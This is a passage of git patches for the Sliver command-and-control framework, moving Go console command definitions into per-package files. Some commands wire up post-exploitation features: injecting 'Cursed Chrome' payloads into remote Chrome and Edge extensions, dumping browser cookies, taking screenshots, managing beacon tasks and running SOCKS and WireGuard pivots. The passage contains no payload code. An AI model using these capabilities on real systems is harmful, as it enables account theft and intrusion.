"u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedChromeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) - - cursedEdgeCmd := &cobra.Command{ - Use: consts.CursedEdge, - Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedEdgeCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedEdgeCmd) - Flags("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - f.BoolP("restore", "R", true, "restore the user's session after process termination") - f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") - f.StringP("user-data", "u", "", "user data directory (blank string = auto)") - f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") - f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") - f.BoolP("headless", "H", false, "start browser process in headless mode") - }) - FlagComps(cursedEdgeCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") - }) - cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) - - cursedElectronCmd := &cobra.Command{ - Use: consts.CursedElectron, - Short: "Curse a remote Electron application", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedElectronCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedElectronCmd) - Flags("", false, cursedElectronCmd, func(f *pflag.FlagSet) { - f.StringP("exe", "e", "", "remote electron executable absolute path") - f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") - }) - cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) - - CursedCookiesCmd := &cobra.Command{ - Use: consts.CursedCookies, - Short: "Dump all cookies from cursed process", - Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedCookiesCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(CursedCookiesCmd) - Flags("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file") - }) - - cursedScreenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot of a cursed process debug target", - Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - cursed.CursedScreenshotCmd(cmd, con, args) - }, - } - cursedCmd.AddCommand(cursedScreenshotCmd) - Flags("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { - f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") - f.StringP("save", "s", "", "save to file") - }) - - // [ Wasm ] ----------------------------------------------------------------- - - wasmCmd := &cobra.Command{ - Use: consts.WasmStr, - Short: "Execute a Wasm Module Extension", - Long: help.GetHelpFor([]string{consts.WasmStr}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmCmd(cmd, con, args) - }, - } - sliver.AddCommand(wasmCmd) - Flags("", true, wasmCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("", false, wasmCmd, func(f *pflag.FlagSet) { - f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") - f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") - f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") - f.BoolP("skip-registration", "s", false, "assume the extension is already registered") - f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") - }) - FlagComps(wasmCmd, func(comp *carapace.ActionMap) { - (*comp)["file"] = carapace.ActionFiles() - (*comp)["dir"] = carapace.ActionDirectories() - }) - wasmComp := carapace.Gen(wasmCmd) - wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) - wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) - - wasmLsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List registered wasm extensions with current session/beacon", - Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), - Run: func(cmd *cobra.Command, args []string) { - wasm.WasmLsCmd(cmd, con, args) - }, - } - wasmCmd.AddCommand(wasmLsCmd) - - // [ Post-command declaration setup ]---------------------------------------- - // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. sliver.InitDefaultHelpCmd() sliver.SetHelpCommandGroupID(consts.SliverCoreHelpGroup) diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go new file mode 100644 index 0000000000..90f3571276 --- /dev/null +++ b/client/command/socks/commands.go @@ -0,0 +1,65 @@ +package socks + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + socksCmd := &cobra.Command{ + Use: consts.Socks5Str, + Short: "In-band SOCKS5 Proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Run: func(cmd *cobra.Command, args []string) { + SocksCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + socksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start an in-band SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Run: func(cmd *cobra.Command, args []string) { + SocksStartCmd(cmd, con, args) + }, + } + socksCmd.AddCommand(socksStartCmd) + flags.Bind("", false, socksStartCmd, func(f *pflag.FlagSet) { + f.StringP("host", "H", "127.0.0.1", "Bind a Socks5 Host") + f.StringP("port", "P", "1081", "Bind a Socks5 Port") + f.StringP("user", "u", "", "socks5 auth username (will generate random password)") + }) + flags.BindFlagCompletions(socksStartCmd, func(comp *carapace.ActionMap) { + (*comp)["host"] = completers.ClientInterfacesCompleter() + }) + + socksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a SOCKS5 proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + Run: func(cmd *cobra.Command, args []string) { + SocksStopCmd(cmd, con, args) + }, + } + socksCmd.AddCommand(socksStopCmd) + flags.Bind("", false, socksStopCmd, func(f *pflag.FlagSet) { + f.Uint64P("id", "i", 0, "id of portfwd to remove") + }) + flags.BindFlagCompletions(socksStopCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = SocksIDCompleter(con) + }) + + return []*cobra.Command{socksCmd} +} diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go new file mode 100644 index 0000000000..2f5bc11259 --- /dev/null +++ b/client/command/tasks/commands.go @@ -0,0 +1,58 @@ +package tasks + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + tasksCmd := &cobra.Command{ + Use: consts.TasksStr, + Short: "Beacon task management", + Long: help.GetHelpFor([]string{consts.TasksStr}), + Run: func(cmd *cobra.Command, args []string) { + TasksCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("tasks", true, tasksCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") + }) + + fetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch the details of a beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksFetchCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(fetchCmd) + carapace.Gen(fetchCmd).PositionalCompletion(BeaconTaskIDCompleter(con).Usage("beacon task ID")) + + cancelCmd := &cobra.Command{ + Use: consts.CancelStr, + Short: "Cancel a pending beacon task", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + TasksCancelCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(cancelCmd) + carapace.Gen(cancelCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) + + return []*cobra.Command{tasksCmd} +} diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go new file mode 100644 index 0000000000..175eaed811 --- /dev/null +++ b/client/command/wasm/commands.go @@ -0,0 +1,54 @@ +package wasm + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + wasmCmd := &cobra.Command{ + Use: consts.WasmStr, + Short: "Execute a Wasm Module Extension", + Long: help.GetHelpFor([]string{consts.WasmStr}), + GroupID: consts.ExecutionHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + WasmCmd(cmd, con, args) + }, + } + flags.Bind("", true, wasmCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, wasmCmd, func(f *pflag.FlagSet) { + f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") + f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") + f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") + f.BoolP("skip-registration", "s", false, "assume the extension is already registered") + f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") + }) + flags.BindFlagCompletions(wasmCmd, func(comp *carapace.ActionMap) { + (*comp)["file"] = carapace.ActionFiles() + (*comp)["dir"] = carapace.ActionDirectories() + }) + wasmComp := carapace.Gen(wasmCmd) + wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) + wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) + + wasmLsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List registered wasm extensions with current session/beacon", + Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), + Run: func(cmd *cobra.Command, args []string) { + WasmLsCmd(cmd, con, args) + }, + } + wasmCmd.AddCommand(wasmLsCmd) + + return []*cobra.Command{wasmCmd} +} diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go index dcbb9dc82d..daa4460539 100644 --- a/client/command/wireguard/commands.go +++ b/client/command/wireguard/commands.go @@ -35,3 +35,88 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { return []*cobra.Command{wgConfigCmd} } + +// SliverCommands returns all Wireguard commands that can be used on an active target. +func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { + wgPortFwdCmd := &cobra.Command{ + Use: consts.WgPortFwdStr, + Short: "List ports forwarded by the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdListCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), + } + flags.Bind("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgPortFwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a port forward from the WireGuard tun interface to a host on the target network", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdAddCmd(cmd, con, args) + }, + } + flags.Bind("wg portforward", false, wgPortFwdAddCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 1080, "port to listen on the WireGuard tun interface") + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + }) + wgPortFwdCmd.AddCommand(wgPortFwdAddCmd) + + wgPortFwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forward from the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + WGPortFwdRmCmd(cmd, con, args) + }, + } + wgPortFwdCmd.AddCommand(wgPortFwdRmCmd) + + carapace.Gen(wgPortFwdRmCmd).PositionalCompletion(PortfwdIDCompleter(con).Usage("forwarder ID")) + + wgSocksCmd := &cobra.Command{ + Use: consts.WgSocksStr, + Short: "List socks servers listening on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksListCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), + } + flags.Bind("wg socks", true, wgSocksCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + wgSocksStartCmd := &cobra.Command{ + Use: consts.StartStr, + Short: "Start a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StartStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStartCmd(cmd, con, args) + }, + } + wgSocksCmd.AddCommand(wgSocksStartCmd) + flags.Bind("wg socks", false, wgSocksStartCmd, func(f *pflag.FlagSet) { + f.Int32P("bind", "b", 3090, "port to listen on the WireGuard tun interface") + }) + + wgSocksStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a socks5 listener on the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgSocksStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + WGSocksStopCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + wgSocksCmd.AddCommand(wgSocksStopCmd) + carapace.Gen(wgSocksStopCmd).PositionalCompletion(SocksIDCompleter(con).Usage("Socks server ID")) + + return []*cobra.Command{wgPortFwdCmd, wgSocksCmd} +} From 2da61c1e54e8d455bee3afeafb6e4de772098404 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 22 Jun 2023 19:29:04 +0200 Subject: [PATCH 006/124] Finish splits. Compiles --- client/command/alias/alias.go | 8 +++---- client/command/beacons/commands.go | 33 ++++++++++++++++++++++++--- client/command/completers/commands.go | 17 -------------- client/command/exit/commands.go | 17 -------------- client/command/help/commands.go | 17 -------------- client/command/help/long-help.go | 3 +-- client/command/server.go | 12 ++++++++++ client/command/sessions/commands.go | 2 +- client/command/use/commands.go | 3 ++- client/command/use/use.go | 26 ++------------------- client/console/console.go | 11 --------- client/constants/constants.go | 7 ++++++ 12 files changed, 59 insertions(+), 97 deletions(-) delete mode 100644 client/command/completers/commands.go delete mode 100644 client/command/exit/commands.go delete mode 100644 client/command/help/commands.go diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index c418427ba9..2ff708f858 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -24,14 +24,14 @@ import ( "io/ioutil" "strings" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" ) // AliasesCmd - The alias command diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 433e204f2d..d526d7412d 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -1,15 +1,19 @@ package beacons import ( + "context" + "fmt" + "strings" + "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/commonpb" ) // Commands returns the “ command and its subcommands. @@ -35,7 +39,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.StringP("filter-re", "e", "", "filter beacons by regular expression") }) flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = use.BeaconIDCompleter(con) + (*comp)["kill"] = BeaconIDCompleter(con) }) beaconsRmCmd := &cobra.Command{ Use: consts.RmStr, @@ -45,7 +49,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { BeaconsRmCmd(cmd, con, args) }, } - carapace.Gen(beaconsRmCmd).PositionalCompletion(use.BeaconIDCompleter(con)) + carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con)) beaconsCmd.AddCommand(beaconsRmCmd) beaconsWatchCmd := &cobra.Command{ @@ -73,3 +77,26 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { return []*cobra.Command{beaconsCmd} } + +// BeaconIDCompleter completes beacon IDs +func BeaconIDCompleter(con *console.SliverConsoleClient) carapace.Action { + callback := func(_ carapace.Context) carapace.Action { + results := make([]string, 0) + + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, b := range beacons.Beacons { + link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) + id := fmt.Sprintf("%s (%d)", b.Name, b.PID) + userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, b.ID[:8]) + results = append(results, desc) + } + } + return carapace.ActionValuesDescribed(results...).Tag("beacons") + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/completers/commands.go b/client/command/completers/commands.go deleted file mode 100644 index a6c8864c7d..0000000000 --- a/client/command/completers/commands.go +++ /dev/null @@ -1,17 +0,0 @@ -package completers - -import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/flags" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" -) - -// Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { - return nil -} diff --git a/client/command/exit/commands.go b/client/command/exit/commands.go deleted file mode 100644 index 75b67ea3a6..0000000000 --- a/client/command/exit/commands.go +++ /dev/null @@ -1,17 +0,0 @@ -package exit - -import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/flags" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" -) - -// Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { - return nil -} diff --git a/client/command/help/commands.go b/client/command/help/commands.go deleted file mode 100644 index 3799c739aa..0000000000 --- a/client/command/help/commands.go +++ /dev/null @@ -1,17 +0,0 @@ -package help - -import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/flags" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" -) - -// Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { - return nil -} diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index 281167634c..fccb56c5a6 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -28,7 +28,6 @@ import ( "strings" "text/template" - "github.com/bishopfox/sliver/client/command/creds" consts "github.com/bishopfox/sliver/client/constants" ) @@ -1219,7 +1218,7 @@ Sliver uses the same hash identifiers as Hashcat (use the #): % 10s - One hash per line. % 10s - A file containing lines of 'username:hash' pairs. % 10s - A CSV file containing 'username,hash' pairs (additional columns ignored). -`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat) +`, consts.HashNewlineFormat, consts.UserColonHashNewlineFormat, consts.CSVFormat) ) const ( diff --git a/client/command/server.go b/client/command/server.go index 034ac242c7..1a2c035a63 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,6 +19,8 @@ package command */ import ( + "os" + "github.com/reeflective/console" "github.com/spf13/cobra" @@ -121,6 +123,16 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. // (although you can do so without fear). If there are any final modifications // to make to the server menu command tree, it time to do them here. + // Only load reactions when the console is going to be started. + if !con.IsCLI { + n, err := reaction.LoadReactions() + if err != nil && !os.IsNotExist(err) { + con.PrintErrorf("Failed to load reactions: %s\n", err) + } else if n > 0 { + con.PrintInfof("Loaded %d reaction(s) from disk\n", n) + } + } + server.InitDefaultHelpCmd() server.SetHelpCommandGroupID(consts.GenericHelpGroup) diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index a550d43b9a..65e4de8966 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -68,7 +68,7 @@ func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err == nil { - for _, s := range Sessions { + for _, s := range sessions.Sessions { link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) id := fmt.Sprintf("%s (%d)", s.Name, s.PID) userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) diff --git a/client/command/use/commands.go b/client/command/use/commands.go index d5c37a44c0..0dd4ce5a1f 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -5,6 +5,7 @@ import ( "github.com/spf13/cobra" "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -46,7 +47,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { UseBeaconCmd(cmd, con, args) }, } - carapace.Gen(useBeaconCmd).PositionalCompletion(BeaconIDCompleter(con)) + carapace.Gen(useBeaconCmd).PositionalCompletion(beacons.BeaconIDCompleter(con)) useCmd.AddCommand(useBeaconCmd) return []*cobra.Command{useCmd} diff --git a/client/command/use/use.go b/client/command/use/use.go index 14b1f6e2b4..1cacc26e7e 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -31,6 +31,7 @@ import ( "github.com/rsteube/carapace" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -188,7 +189,7 @@ func BeaconAndSessionIDCompleter(con *console.SliverConsoleClient) carapace.Acti return action.Invoke(ctx).Merge( SessionIDCompleter(con).Invoke(ctx), - BeaconIDCompleter(con).Invoke(ctx), + beacons.BeaconIDCompleter(con).Invoke(ctx), ).ToA() } @@ -217,26 +218,3 @@ func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } - -// BeaconIDCompleter completes beacon IDs -func BeaconIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, b := range beacons.Beacons { - link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) - id := fmt.Sprintf("%s (%d)", b.Name, b.PID) - userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, b.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("beacons") - } - - return carapace.ActionCallback(callback) -} diff --git a/client/console/console.go b/client/console/console.go index f523ca76da..fde4a37587 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -40,7 +40,6 @@ import ( "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/reaction" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/prelude" @@ -206,16 +205,6 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds con.setupAsciicastRecord(asciicastLog, asciicastStream) } - // Only load reactions when the console is going to be started. - if !con.IsCLI { - n, err := reaction.LoadReactions() - if err != nil && !os.IsNotExist(err) { - con.PrintErrorf("Failed to load reactions: %s\n", err) - } else if n > 0 { - con.PrintInfof("Loaded %d reaction(s) from disk\n", n) - } - } - if !con.IsCLI { return con.App.Start() } diff --git a/client/constants/constants.go b/client/constants/constants.go index ef128ae7a3..645a357ac1 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -325,3 +325,10 @@ const ( WindowsCmdsFilter = "windows" WireguardCmdsFilter = "wireguard" ) + +// Creds (needed here to avoid recursive imports) +const ( + UserColonHashNewlineFormat = "user:hash" // username:hash\n + HashNewlineFormat = "hash" // hash\n + CSVFormat = "csv" // username,hash\n +) From 51473ec137992a40dace36d27d3dd73cd82b381a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 22 Jun 2023 20:26:04 +0200 Subject: [PATCH 007/124] Add many missing completers --- client/command/armory/commands.go | 4 ++++ client/command/completers/completers.go | 29 +++++++++++++++++++++++++ client/command/exec/commands.go | 2 ++ client/command/extensions/commands.go | 2 +- client/command/filesystem/commands.go | 5 +++++ client/command/generate/commands.go | 4 ++++ client/command/hosts/commands.go | 2 +- client/command/jobs/commands.go | 4 ++++ client/command/loot/commands.go | 22 +++++++++++++++---- client/command/processes/commands.go | 3 +++ client/command/update/commands.go | 5 +++++ 11 files changed, 76 insertions(+), 6 deletions(-) diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go index 5e59ef2a44..fe2649dd16 100644 --- a/client/command/armory/commands.go +++ b/client/command/armory/commands.go @@ -5,6 +5,7 @@ import ( "github.com/spf13/cobra" "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -28,6 +29,9 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") f.StringP("timeout", "t", "15m", "download timeout") }) + flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) armoryInstallCmd := &cobra.Command{ Use: consts.InstallStr, diff --git a/client/command/completers/completers.go b/client/command/completers/completers.go index 6973751922..762b14b62f 100644 --- a/client/command/completers/completers.go +++ b/client/command/completers/completers.go @@ -55,3 +55,32 @@ func ClientInterfacesCompleter() carapace.Action { return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') }) } + +// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address. +func LocalProxyCompleter() carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + prefix := "" + + hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return ClientInterfacesCompleter() + case 1: + return carapace.ActionMessage("server port") + default: + return carapace.ActionValues() + } + }) + + return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action { + switch len(c.Parts) { + case 0: + return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://") + case 1: + return hostPort + default: + return carapace.ActionValues() + } + }).Invoke(c).Prefix(prefix).ToA() + }) +} diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index 13edbe3de5..a0cc0473e2 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -6,6 +6,7 @@ import ( "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/command/flags" + 